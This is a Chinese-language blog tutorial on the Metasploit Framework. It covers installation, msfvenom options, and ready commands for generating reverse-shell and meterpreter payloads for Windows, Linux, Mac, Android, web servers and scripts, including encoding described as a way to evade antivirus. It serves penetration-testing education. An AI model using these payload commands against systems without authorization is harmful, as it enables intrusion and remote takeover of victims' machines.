Metasploit
Metasploit Framework(MSF)
是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。
Metasploit安装
通常Linux系统除了kail之外,默认是不会安装MSF的。
安装命令:
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && chmod 755 msfinstall && ./msfinstall
ln -s /opt/metasploit-framework/bin/msfconsole /usr/bin/msfconsole #创建一个软连接,这样我们在任何目录下都可以启动Metasploit框架。即在任何目录下输入msfconsole即可。
注意:初次运行msf会创建数据库,但是msf默认使用的PostgreSQL数据库不能与root用户关联,这也这也就是需 要新建用户msf来运行metasploit的原因所在。如果你一不小心手一抖,初次运行是在root用户下,可以使用msfdb reinit命令,然后使用非root用户初始化数据库。
MSF后期的升级命令:msfupdate
msfvenom的使用
msfvenom生成shellcode
Options:
-p, --payload <payload> 指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定
-l, --list [module_type] 列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all
-n, --nopsled <length> 为payload预先指定一个NOP滑动长度
-f, --format <format> 指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)
-e, --encoder [encoder] 指定需要使用的encoder(编码器)
-a, --arch <architecture> 指定payload的目标架构
--platform <platform> 指定payload的目标平台
-s, --space <length> 设定有效攻击荷载的最大长度
-b, --bad-chars <list> 设定规避字符集,比如: '\x00\xff'
-i, --iterations <count> 指定payload的编码次数
-c, --add-code <path> 指定一个附加的win32 shellcode文件
-x, --template <path> 指定一个自定义的可执行文件作为模板
-k, --keep 保护模板程序的动作,注入的payload作为一个新的进程运行
--payload-options 列举payload的标准选项
-o, --out <path> 保存payload
-v, --var-name <name> 指定一个自定义的变量,以确定输出格式
--shellest 最小化生成payload
-h, --help 查看帮助选项
--help-formats 查看msf支持的输出格式列表
详细信息:
msfvenom -l payload #列出所有可用的payload
msfvenom -l formats #列出所有的输出格式
msfvenom -l encrypt #列出所有的加密方式
msfvenom -l encoders #列出所有的编码器
普通生成
msfvenom -p 有效载荷 -f 输出格式 -o 输出文件
msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=xxxx -x -f exe -o payload.exe
编码生成
msfvenom -a 系统架构 --platform 系统平台 -p 有效载荷 lhost=攻击机IP lport=攻击机端口 -e 编码方式 -i编码次数 -f 输出格式 -o 输出文件 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=xxx.xxx.xxx.xxx lport=xxxx -i 3-e x86/shikata_ga_nai -f exe -o payload.exe
常见的生成格式
windows:
msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp -f exe -o payload.exe msfvenom --platform windows -a x64 -p windows/meterpreter/reverse_tcp -f exe -o payload.exe msfvenom --platform windows -a x86 -p windows/meterpreter/reverse_tcp lhost=192.168.0.108 lport=4445 -f exe -o payload.exe
Linux:
msfvenom --platform linux -a x86 -p linux/x86/meterpreter/reverse_tcp -f elf -o payload.elf
Mac:
msfvenom --platform osx -a x86 -p osx/x86/shell_reverse_tcp -f macho -o payload.macho
Android:
msfvenom -p android/meterpreter/reverse_tcp -o payload.apk
Aspx:
msfvenom --platform windows-p windows/meterpreter/reverse_tcp -f aspx -o payload.aspx
Jsp:
msfvenom --platform java -p java/jsp_shell_reverse_tcp -f raw -o payload.jsp
PHP:
msfvenom -p php/meterpreter_reverse_tcp -f raw -o payload.php
Bash:
msfvenom -p cmd/unix/reverse_bash -f raw -o shell.sh
Python:
msfvenom -p python/meterpreter/reverse_tcp -f raw -o shell.py
MSF拓展知识
kali中exploit默认路径:/usr/share/metasploit-framework/modules/exploits
我们进 windows 平台看看,这里会列出针对windows平台不同服务的漏洞利用
进入smb服务,这是windows中经常爆出漏洞的服务,比如我们的永恒之蓝漏洞就在这里面。漏洞
利用代码是以 rb 结尾的文件,因为metasploit是用Ruby语言编写的。
如何加载自定义模块
下载一个rb文件的exploit文件 拷贝到framework/modules/exploits中 msf中
执行reload_all 重新加载模块 注意:注意在MSF中操作。
MSF的六个模块
auxiliary #负责执行信息收集、扫描、嗅探、指纹识别、口令猜测和Dos攻击等功能的辅助模块
exploits #利用系统漏洞进行攻击的动作,此模块对应每一个具体漏洞的攻击方法(主动、被动)
payloads #成功exploit之后,真正在目标系统执行的代码或指令。分为3种类型的payload,分别是 single、stages和stagers。
nops #提高payload稳定性及维持大小。
post #后期渗透模块。在取得目标系统远程控制权后,进行一系列的后渗透攻击动作,如获取敏感信 息、跳板攻击等操作
encoders #对payload进行加密,躲避AntiVirus检查的模块
这里模块具体讲解我们在MSF-永恒之蓝攻击进行讲解
链接:https://blog.csdn.net/weixin_54217950/article/details/125830488?spm=1001.2014.3001.5501
版权声明:本文为weixin_54217950原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。